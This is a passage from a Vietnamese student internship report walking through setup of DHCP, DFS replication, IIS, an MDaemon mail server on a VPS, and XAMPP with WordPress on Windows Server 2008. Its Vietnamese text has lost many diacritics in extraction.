54Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 62: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trên tab General, ta co thê thay đôi cac gia tri Scope name, Start IP address, End

IP address, giơi hạn thơi gian đia chi IP tôn tại trên may trạm.

Hình 2.3.1.4-14

Đê thay đôi gateway, ta kich chuôt phai lên muc 003 Router trong Scope Options,

chon Properties.

Hình 2.3.1.4-15

55Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 63: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Thay đôi gia tri gateway bằng cac chưc năng Add va Remove.

Hình 2.3.1.4-16

Đê thay đôi đia chi cac DNS Server, right click dong 006 DNS Servers trong

Server Options, chon Properties.

Hình 2.3.1.4-17

56Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 64: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Thay đôi đia chi cua DNS Server bằng chưc năng Add va Remove.

Hình 2.3.1.4-18

Đê thay đôi tên miên, right click dong 015 DNS Domain Name trong Server

Options, chon Properties.

Hình 2.3.1.4-19

57Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 65: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Nhâp tên miên mơi vao muc String value.

Hình 2.3.1.4-20

Cấu hinh đia chi IP đông trên may trạm ta mơ cửa sô Network Connections va truy

câp vao hôp thoại Internet Protocol (TCP/IP) Properties. Tại đây, ta chon Obtain

an IP address automatically va Obtain DNS server address automatically. Sau

đo nhấn OK.

58Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 66: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.4-21

Trên may trạm lênh xin cấp đia chi DHCP bằng cach vao Start Run gõ cmd

Enter.

Hình 2.3.1.4-22

59Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 67: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Gõ lênh inconfig /renew.

Hình 2.3.1.4-23

Đê xin tra lại đia chi IP ma DHCP đa cấp gõ lênh ipconfig /release.

Hình 2.3.1.4-24

Như vây chung ta đa hoan thanh viêc cấp đia chi IP đông bằng dich vu DHCP

Hình 2.3.1.4-25

60Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 68: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

2.3.1.5 Dịch vụ Distributed File System (DFS)

2.3.1.5.1 Mục đích:

Trong hê thông mạng lơn viêc chia sẻ file giưa cac ngươi dung vơi nhau đoi hoi phai co nhiêu may chu file server. Dich vu DFS cho chung ta quan ly dễ dang cac may File Server. No tâp trung cac dư liêu ơ cac may chu khac nhau. Đam bao an toan dư liêu.

Hê thông DFS sẽ tư đông phân chia cac yêu câu truy câp cho tưng may chu File Server trong hê thông DFS nhằm đam bao viêc truy câp luôn đươc ôn đinh.

2.3.1.5.2 Chuẩn bị mô hình:

Hình 2.3.1.5.2

* Mô hinh sử dung 4 may:

- 1 may Windows Server 2008 lam Domain Controller vơi tên

miên athena.edu.vn.

- 2 may Windows Server 2008 lam File Server.

- 1 may Windows 7 lam Client kiêm tra.

* Cac may FileServer1, FileServer2, Client Joint vao DC.

61Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 69: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

2.3.1.5.3 Các bước thưc hiên

2.3.1.5.3.1 Cài đặt đặt DFS Roles Services trên các máy FileServer1 và FileServer2

Thưc hiên tại cac may FileServer1 va FileServer2

Vao Server Manager → Roles → Add Roles

Hình 2.3.1.5.1-1

Nhấn Next

Hình 2.3.1.5.3.1-2

62Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 70: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Chon File Servies

Hình 2.3.1.5.3.1-3

Nhấn Next

Hình 2.3.1.5.3.1-4

63Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 71: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong Roles Services chon File Server va Distributed File System

Hình 2.3.1.5.3.1-5

Trong hôp thoại Create a DFS Namespace. Ta check dong Create a namespace

latter…

Hình 2.3.1.5.3.1-6

64Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 72: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Nhấn Install.

Hình 2.3.1.5.3.1-7

Sau khi cai đăt hoan tất, nhấn Close đê thoat.

Hình 2.3.1.5.3.1-8

Lam tương tư cho may FileServer2

65Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 73: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

2.3.1.5.3.2 Tạo Namespace và chỉ định các namespace server

Sau khi cai đăt DFS cho 2 may FileServer thi hê thông chung ta

đươc goi la Distributed File System. Moi cấu hinh trên bất ky may Server nao cung

tac đông đên toan bô cac FileServer khac. Vi thê chung ta cân chon môt trong cac

may FileServer đê cấu hinh ma không cân phai cấu hinh toan bô cac may

FileServer.

Tại File Server1 chung ta vao Start → Administrator Tools → DFS

Management đê tiên hanh cấu hinh DFS cho hê thông.

Hình 2.3.1.5.3.2-1

Trong man hinh DFS Management right click vao Namespace → New

Namespace

Hình 2.3.1.5.3.2-2

66Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 74: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong hôp thoại Namespace Server chon may File Server1, nhấn Next.

Hình 2.3.1.5.3.2-3

Nhấn Yes.

Hình 2.3.1.5.3.2-4

Tại cửa sô Namespace Name and Setting đăt môt tên chia sẻ mơi, vi du la Data.

67Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 75: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.5.3.2-5

Tiêp tuc vao Edit Setting.

Hình 2.3.1.5.3.2-6

68Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 76: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Nhấn Customize. Cho Everyone co quyên Full Control → Ok → Ok → Next.

Hình 2.3.1.5.3.2-7

Hôp thoại Namespace Type đê măc đinh. Vi trong bai chung ta cai File Server trong hê thông co Domain nên chon Domain-based namespace. Nhấn Next → Create → Close.

Hình 2.3.1.5.3.2-8

69Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 77: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Nhấn Create.

Hình 2.3.1.5.3.2-9

Nhấn Close đê hoan tất.

Hình 2.3.1.5.3.2-10

70Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 78: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Vao thư muc C:\DFSRoots sẽ thấy xuất hiên môt folder tên Data đa đươc share.

Hình 2.3.1.5.3.2-11

Trơ lại DFS. Ta sẽ add thêm môt namespace File Server2

DFS Management → Namespace → right click lên \\athena.edu.vn chon Add

Namespace Server.

Hình 2.3.1.5.3.2-12

71Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 79: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong hôp thoại Add Namespace Server chon Browse tro tơi File Server2 → Ok.

Hình 2.3.1.5.3.2-13

Chung ta vao thẻ Namespace Servers sẽ thấy ca hai namespace vưa tạo.

Hình 2.3.1.5.3.2-14

72Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 80: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

2.3.1.5.3.2.3 Tạo Replication Group trên File Server1

Ta phai cấu hinh Replication đê DFS hiêu đươc co bao nhiêu may

tham gia vao hê thông DFS. Nhấp phai lên Replication chon New Replication

Group.

Hình 2.3.1.5.3.3-1

Trong hôp thoại New Replication Group Type ta chon Multipurpose replication

group, nhấn Next.

Hình 2.3.1.5.3.3-2

Trong hôp thoại Name and Domain muc Name of replication group, chung ta đăt

tên la Replication Data, Nhấn Next.

73Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 81: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.5.3.3-3

Trong Replication Group Members chung ta add ca hai may FileServer1 va

FileServer2 vao. Nhấn Next.

74Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 82: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.5.3.3-4

Nhấn Next.

Hình 2.3.1.5.3.3-5

Nhấn Next.

75Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 83: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.5.3.3-6

Trong Primary Member chon FileServer1, nhấn Next.

Hình 2.3.1.5.3.3-7

Trong Folders to Replicate chon Add… → chon Browse tro tơi Data ma chung ta

tạo ơ trên. Nhấn Next.

76Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 84: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.5.3.3-8

Nhấn Edit.

Hình 2.3.1.5.3.3-9

77Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 85: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Chon Enabled, tại Local path of folder chung ta điên C:\DFSData. Bươc nay giup

cho DFS tư đông tạo FileServer2 phu tai cho FileServer1 va tư đông copy file tư

folder C:\DFSRoots\Data ơ may FileServer1 sang C:\DFSData cua FileServer2.

Hình 2.3.1.5.3.3-10

Nhấn Yes.

Hình 2.3.1.5.3.3-11

Nhấn Create.

78Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 86: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.5.3.3-12

Nhấn Close.

Hình 2.3.1.5.3.3-13

79Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 87: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Bây giơ chung ta tiên hanh kiêm tra dich vu

Tại may FileServer1 tạo 1 file 123.txt trong thư muc C:\DFSRoots\Data

Hình 2.3.1.5.3.3-14

Hê thông sẽ tư đông copy file 123.txt đên C:\DFSData ơ may File Server2. Tuy

nhiên qua trinh không diễn ra ngay ma Windows sẽ tiên hanh môt cach châm rai.

Đê cho nhanh, tại cac may FileServer1 va FileServer2 ta vao Services Restart dich

vu DFS Replication. Bây giơ ta vao thư muc C:\DFSData cua FileServer2 sẽ thấy

tâp tin 123.txt.

Vao may Client truy câp vao \\athena.edu.vn\Data. Tại đây chung ta tạo file 456.txt.

Qua cac thư muc C:\DFSRoots\Data cua may FileServer1 va C:\DFSData cua

may FileServer2 sẽ thấy tâp tin 456.txt.

Hình 2.3.1.5.3.3-15

80Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 88: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.5.3.3-16

2.3.1.6 Cấu hình Web Server IIS.

Mơ cửa sô Server Manager. Trong khung Roles Summary ơ bên phai,

nhấn Add Roles.

Hình 2.3.1.5-1

Trong man hinh Select Server Roles, chon Web Server (IIS)

81Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 89: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.5-2

Trong hôp thoại Add features required for Web Server (IIS), nhấn Add

Required Features đê bô sung cac thanh phân liên quan đên Web Server.

Hình 2.3.1.5-3

Trong man hinh Select Server Roles, nhấn Next.

82Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 90: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.5-4

Chon lưa cac thanh phân bô sung vao Web Server.

83Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 91: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.5-5

Trong man hinh Confirm Installation Selections, xem lại cac thiêt lâp vưa thưc

hiên va nhấn Install đê băt đâu cai đăt.

Hình 2.3.1.5-6

Sau khi cai đăt hoan tất. Khi IIS Manager xuất hiên, ta sẽ băt găp ngay trang web

đâu tiên (IIS Start Page). Tại đây, ta sẽ tim thấy thông tin vê cac kêt nôi đên cac

Web Server minh đa quan ly trong thơi gian gân vơi hiên tại.

84Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 92: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.5-7

Trong man hinh Specify Server Connection Details, nhâp đia chi IP cua Web

Server cân quan ly vao muc Server name va nhấn Next.

Hình 2.3.1.5-8

85Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 93: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong man hinh Specify a Connection Name, nhâp tên kêt nôi va nhấn Finish.

Hình 2.3.1.5-9

Đê thay đôi cac thông sô cấu hinh trên Web Server, kich chon tên kêt nôi tương ưng

vơi Web Server ơ khung bên trai, sau đo chon muc cân câu hinh ơ khung chinh

giưa.

Hình 2.3.1.5-10

86Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 94: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Đê kiêm tra Web Server sau khi đa cai đăt, ta mơ trinh duyêt va gõ đia chi

http://localhost. Nêu man hinh IIS 7 xuất hiên như hinh bên dươi, thao tac cai đăt

va cấu hinh Web Server đa thanh công.

Hình 2.3.1.5-11

Xuất ban môt website Mơ cửa sô Internet Information Service (IIS) Manager.

Kich chuôt phai lên muc Sites ơ khung bên trai, chon Add Web Site.

Hình 2.3.1.5-12

87Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 95: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong hôp thoại Add Web Site, ta điên thông tin :

Hình 2.3.1.5-13

Tên cua website vao muc Site name

Nhâp đương dân đên thư muc chưa ma nguôn cua website vao muc Physical path

hoăc bấm vao nut ba chấm (…) đê đinh đương dân.

Nêu xuất ban website vơi ma nguôn chưa ơ môt may tinh khac, ta cân bấm vao nut

Connect as va chi đinh tai khoan dung đê truy câp thư muc ơ xa nay. Nêu xuất ban

nhiêu website, ta cân nhâp tên truy câp chinh xac cua cac website vao muc Host

name.

Ngay sau đo, môt thông bao xuất hiên, cho biêt công 80 đa đươc môt website khac

sử dung (thông thương la Default Web Site).

Hình 2.3.1.5-14

88Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 96: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong trương hơp nay, ta cân kich chon Default Web Site va nhấn Stop ơ khung

bên phai đê ngưng trạng thai hoạt đông cua website.

Hình 2.3.1.5-15

Đên đây, ta đa hoan thanh thao tac xuất ban môt website. Nêu muôn kiêm tra, mơ

trinh duyêt va gõ đia chi http://localhost. Ngay sau đo, nôi dung website sẽ xuất

hiên.

2.3.2. Làm viêc với Windows Sever 2008 trên máy chủ ảo VPS

2.3.2.1 Giới thiêu về Máy chủ ảo VPS

VPS theo lưu lương la loại hinh may chu VPS tiên dung, phu hơp & đem

lại nhiêu lơi ich, hiêu qua cho cac khach hang mong muôn co môt may chu riêng

vơi chi phi cưc thấp.

89Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 97: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

VPS la dich vu may chu chạy dươi dạng chia sẻ tư 1 tai nguyên server

chinh hoạt đông như môt Dedicated Server. Ngươi quan tri (khach hang) co quyên

cao nhất đê toan quyên quan tri Server.

VPS kêt nôi Internet vơi 01 IP tinh va đươc cai đăt sẵn hê điêu hanh tuy

chon. VPS quan tri tư xa va cai đăt cac phân mêm theo nhu câu ma không bi giơi

hạn sô lương domain.

VPS thich hơp cho viêc xây dưng hê thông Mail Server, Web Server,

Backup/Storage Server... dung riêng hoăc truyên tai file dư liêu giưa cac chi nhanh

vơi nhau môt cach dễ dang, nhanh chong thuân tiên va bao mât.

VPS dễ dang nâng cấp tai nguyên ma không cân trang bi phân cưng may

chu giam tôi đa chi phi.

VPS dễ dang tai tạo lại hê điêu hanh khi găp sư cô hê thông vơi thơi gian

thưc hiên rất nhanh ma hoan toan không cân cai đăt lại tư đâu.

VPS như môt giai phap dung hoa giưa Web Hosting va Dedicated Server

theo ca nghia chi phi va cach thưc vân hanh, vi vây đây la giai phap phu hơp cho

cac ca nhân hoăc doanh nghiêp nho muôn co môt hê thông may chu riêng biêt, toan

quyên quan ly vơi Chi Phi Thấp.

Hình 3.2.1 Giao diện Remote Desktop Connection

90Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 98: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Thông qua chương trinh Remote Desktop Connection ta truy câp vao VPS đa đươc

thuê đê tiên hanh cấu hinh, triên khai cac dich vu như trên may thât.

Hình 3.2.2 Giao diện ban đầu khi đăng nhập vao may chủ VPS

Chung ta tiên hanh nhâp User name va Password đa đươc cung cấp tư bên cho thuê

đê truy câp vao.

Hình 3.2.3 Giao diện khi đã đăng nhập vao may chủ VPS

2.3.2.2 Mail Server

Hiên nay co rất nhiêu phân mêm quan ly Mail trên Server như: Mail

Exchange,… nhưng MDaemon Mail Server: la 1 trong nhưng giai phap hê thông

Mail Server toan diên nhất hiên nay danh cho cac công ty, doanh nghiêp vơi quy mô

91Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 99: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

khac nhau. MDaemon Mail Server hiên co 3 phiên ban: Standard, Pro va Free. Sau

đây la môt sô điêm đang chu y cua chương trinh.

Hình 2.3.1.6.1 Giao diện Mdeamon.

Man hinh hiên thi chinh cua MDaemon (Graphical User Interface - GUI) đưa ra

thông tin quan trong vê cac nguôn tai nguyên, cac giao dich, sô liêu thông kê, luông

dư liêu đang trong trạng thai hoạt đông (active) va cac mail đang trong qua trinh

chơ đơi (queued) đê đươc xử ly. Bên cạnh đo, con co sư lưa chon cho ngươi dung

chuyên đôi trạng thai activating/deactivating đôi vơi cac hê thông may chu khac

nhau co sử dung MDaemon. Cửa sô bên phai hiên thi đây đu thông tin vê kêt nôi dư

liêu đâu vao va ra (incoming va outgoing) đang đươc thưc hiên.

Sau đây la qua trinh cai đăt 1 Mail Server trên phân mêm Mdeamon.

Trươc tiên, ta tai phiên ban MDaemon Mail Server mơi nhất va băt đâu qua trinh

cai đăt.

92Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 100: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.6-2

Hình 2.3.1.6-3

Bấm "Next" đê tiêp tuc.

Hình 2.3.1.6-4

93Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 101: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Đanh dấu vao ô "I have read and I agree with all the terms of this license

agreement"

Hình 2.3.1.6-5

Chon đương dân lưu trư cua chương trinh, măc đinh sẽ la ô C hê thông (ô đia co cai

hê điêu hanh Microsoft Windows).

Hình 2.3.1.6-6

Lưa chon phiên ban cai đăt, nêu bạn co key đăng ky thi nhâp vao ô phia dươi.

Ở vi du sử dung la phiên ban free hoăc miễn phi 30 ngay cua phiên ban Pro.

94Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 102: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.6-7

Nhấn Next đê tiêp tuc

Hình 2.3.1.6-8

Tiên trinh đang cai đăt

Hình 2.3.1.6-9

95Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 103: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Điên tên Domain: tranlevu.tk

Hình 2.3.1.6-10

Hình 2.3.1.6-11

Primary DNS IP Address va Backup DNS IP Address: điên đia chi DNS

14.0.21.130

96Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 104: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.6-12

Giư nguyên lưa chon "Setup MDaemon as a system service"

Hình 2.3.1.6-13

Bấm "Finish" đê kêt thuc qua trinh cai đăt va cấu hinh ban đâu, băt đâu sử dung

97Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 105: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.6-14

Giao diên sau khi cai đăt thanh công.

Hình 2.3.1.6-15

98Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 106: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Tạo 1 tai khoan mơi vao Account New Account…

Hình 2.3.1.6-16

Nhâp thông tin vao Email address va Email Password. Click OK đê tạo tai khoan

Email.

Hình 2.3.1.6-17

99Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 107: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Vao OutLook Express.

Hình 2.3.1.6-18

Cấu hinh Out Look mail đê quan ly mail cho tai khoan. Nhâp tên hiên thi vao

Display name va nhấn Next.

Hình 2.3.1.6-19

100Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 108: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Nhâp đia chi Email va nhấn Next.

Hình 2.3.1.6-20

Nhâp đia chi IP may VPS vao 2 ô Incoming va Outgoing va click Next.

Hình 2.3.1.6-21

101Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 109: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Nhâp tên tai khoan va mât khâu. Nhấn Next

Hình 2.3.1.6-22

Click Finish đê hoan tất cấu hinh quan ly mail cho tai khoan.

102Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 110: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.6-23

Tiên hanh gơi mail đêm gmail va yahoo mail

VD: [email protected] gơi đên [email protected] va

[email protected]

Hình 2.3.1.6-24

103Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 111: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Gmail đa nhân đươc Mail tư user1@ tranlevu.tk

Hình 2.3.1.6-25

Sau đo tiên hanh reply cho [email protected]

Hình 2.3.1.6-26

Yahoo mail đa nhân đươc Mail tư user1@ tranlevu.tk

104Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 112: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.6-27

Sau đo tiên hanh reply cho [email protected]

Hình 2.3.1.6-28

User1 nhân mail thanh công tư gmail va yahoo mail.

Hình 2.3.1.6-29

105Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 113: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.6-30

Như vây chung ta đa hoan thanh viêc cai đăt va quan ly môt Mail Server trên phân

mêm Mdeamon.

2.3.2.3 Cài đặt và cấu hình Web Server trên VPSXAMPP la môt bô công cu lâp trinh PHP co thê cai đăt đươc trên nhiêu

nên tang khac nhau. Chư X đâu tiên trong cum tư XAMPP am chi cross-platform

nghia la XAMPP co thê chạy trên Windows, Linux, Mac OS, Solaris, con cac ky tư

con lại mang cac y nghia sau:

A = Apache, XAMPP bao gôm 1 Apache HTTP Server giup chạy cac ưng dung

web.

M = MySQL, hê quan tri cơ sơ dư liêu My SQL cung đươc bao gôm trong XAMPP.

P = PHP – ngôn ngư lâp trinh PHP.

P = Perl – ngôn ngư lâp trinh Perl.

Sau đây chung ta cung cai đăt va cấu hinh Web Server bằng Xampp 1.7.3

Đăng nhâp may chu ao VPS

106Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 114: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.2.3-1

Chung ta download va tiên hanh cai đăt bằng file xampp1.7.3.exe.

Hình 2.3.2.3-2

Chon Run đê cai đăt.

Hình 2.3.2.3-3

Theo măc đinh XAMPP sẽ đươc cai đăt ơ đương dân C:\xampp, ta co thê nhấn

Browse… va chon đương dân cai đăt khac. Sau đo nhấn Install.

107Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 115: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.2.3-4

Xampp tiên hanh giai nen.

Hình 2.3.2.3-5

108Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 116: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Gõ y → Enter.

Hình 2.3.2.3-6

Gõ y → Enter.

Hình 2.3.2.3-7

Gõ n → Enter.

Hình 2.3.2.3-8

109Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 117: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Nhấn phim bất ki đê tiêp tuc.

Hình 2.3.2.3-9

Gõ x → Enter.

Hình 2.3.2.3-10

Qua trinh cai đăt XAMPP hoan tất.

Double click XAMPP Control Panel trên Desktop.

Hình 2.3.2.3-11

110Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 118: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Click Start ơ muc Apache va MySql trong Xampp Control Panel Application.

Hình 2.3.2.3-12

Vao trinh duyêt web va gõ vao localhost. Va chon ngôn ngư la English.

Hình 2.3.2.3-13

111Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 119: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Click vao phpMyAdmin.

Hình 2.3.2.3-14

Ta đăt tên cơ sơ dư liêu vao ô Create new database va click Create đê tạo

database.

Hình 2.3.2.3-15

112Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 120: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Database đa đươc tạo thanh công.

Hình 2.3.2.3-16

Tiêp theo ta copy ma nguôn wordpress ma chung ta đa download trên Internet vao

đương dân cai đăt C:\xampp\htdocs\.

Hình 2.3.2.3-17

Vao thư muc wordpress ma chung ta vưa copy xong, tim File wp-config-

sample.php va mơ no lên bằng Notepad.

113Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 121: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.2.3-18

Tim va sửa thông tin lại như hinh. Save lại.

Hình 2.3.2.3-19

114Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 122: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Đôi tên file vưa sửa lại thanh wp-config.php.

Hình 2.3.2.3-20

Đôi tên folder wordpress trong hthocs thanh news cho dễ quan ly.

Hình 2.3.2.3-21

Vao trinh duyêt web gõ đương dân localhost/news nhấn Enter.

Hình 2.3.2.3-22

115Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 123: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Sau đo click Cai đăt WordPess.

Hình 2.3.2.3-23

Cấu hinh Wordpress thanh công. Ta Click Log In.

Hình 2.3.2.3-24

